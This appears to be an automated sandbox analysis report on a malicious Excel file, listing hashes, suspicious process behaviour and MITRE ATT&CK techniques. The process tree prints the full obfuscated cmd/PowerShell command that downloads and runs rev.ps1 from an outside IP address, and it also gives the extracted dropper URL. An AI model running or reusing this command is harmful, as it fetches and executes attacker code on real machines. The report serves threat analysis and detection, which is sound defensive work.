c19c1e39b5f614db3380b72dfb98fbe25ef4ed77bf3ac52055a1239a31a42519

General

Target

TRUE_doc.xls
Size

38KB
MD5

6b77a4c21a8ef90057c12cd41aa8fa51
SHA1

82d0a47baa5e7a44a28315739a4a517a56ca3942
SHA256

c19c1e39b5f614db3380b72dfb98fbe25ef4ed77bf3ac52055a1239a31a42519
SHA512

6c42cb9f7be0df0dc45c2fcb6a335696c7bb05f03a8521c155b50bf32421256155e98df1832d7b26959ab2c3fac2085405d2d06d43fd79d777e527029299c974
SSDEEP

768:glknKpbdrHYrMue8q7QPX+5xtekEd/68/dgALAoW8NFdU5PX+SSL0LHVfDM:gluKpbdrHYrMue8q7QPX+5xtekEdi8/V

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://78.85.17.88:8912/rev.ps1

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4436	4916	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

59 4368 powershell.exe

flow	pid	process
59	4368	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4916 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4368 powershell.exe
4368 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4368 powershell.exe

pid	process
4368	powershell.exe
4368	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4368	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE
4916	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 4916 wrote to memory of 4436	4916	EXCEL.EXE	cmd.exe
PID 4916 wrote to memory of 4436	4916	EXCEL.EXE	cmd.exe
PID 4436 wrote to memory of 4368	4436	cmd.exe	powershell.exe
PID 4436 wrote to memory of 4368	4436	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\TRUE_doc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4916

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powERShEll.eXe -nop -w hiDDen -e cwBlAHQALQBhAGwAaQBhAHMAIAAtAG4AYQBtAGUAIAB0AGUAcwB0ACAALQB2AGEAbAB1AGUAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AOwB0AGUAcwB0ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA3ADgALgA4ADUALgAxADcALgA4ADgAOgA4ADkAMQAyAC8AcgBlAHYALgBwAHMAMQAnACkA
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powERShEll.eXe -nop -w hiDDen -e cwBlAHQALQBhAGwAaQBhAHMAIAAtAG4AYQBtAGUAIAB0AGUAcwB0ACAALQB2AGEAbAB1AGUAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AOwB0AGUAcwB0ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA3ADgALgA4ADUALgAxADcALgA4ADgAOgA4ADkAMQAyAC8AcgBlAHYALgBwAHMAMQAnACkA
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4368

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/4368-149-0x00007FFD466A0000-0x00007FFD47161000-memory.dmp

Filesize
10.8MB

Download
memory/4368-148-0x00007FFD466A0000-0x00007FFD47161000-memory.dmp

Filesize
10.8MB

Download
memory/4368-143-0x00007FFD466A0000-0x00007FFD47161000-memory.dmp

Filesize
10.8MB

Download
memory/4368-141-0x000001EB961D0000-0x000001EB961F2000-memory.dmp

Filesize
136KB

Download
memory/4368-140-0x0000000000000000-mapping.dmp

Download
memory/4436-139-0x0000000000000000-mapping.dmp

Download
memory/4916-136-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-138-0x00007FFD2D9C0000-0x00007FFD2D9D0000-memory.dmp

Filesize
64KB

Download
memory/4916-137-0x00007FFD2D9C0000-0x00007FFD2D9D0000-memory.dmp

Filesize
64KB

Download
memory/4916-132-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-135-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-145-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-144-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-146-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-147-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-134-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download
memory/4916-133-0x00007FFD2FEF0000-0x00007FFD2FF00000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads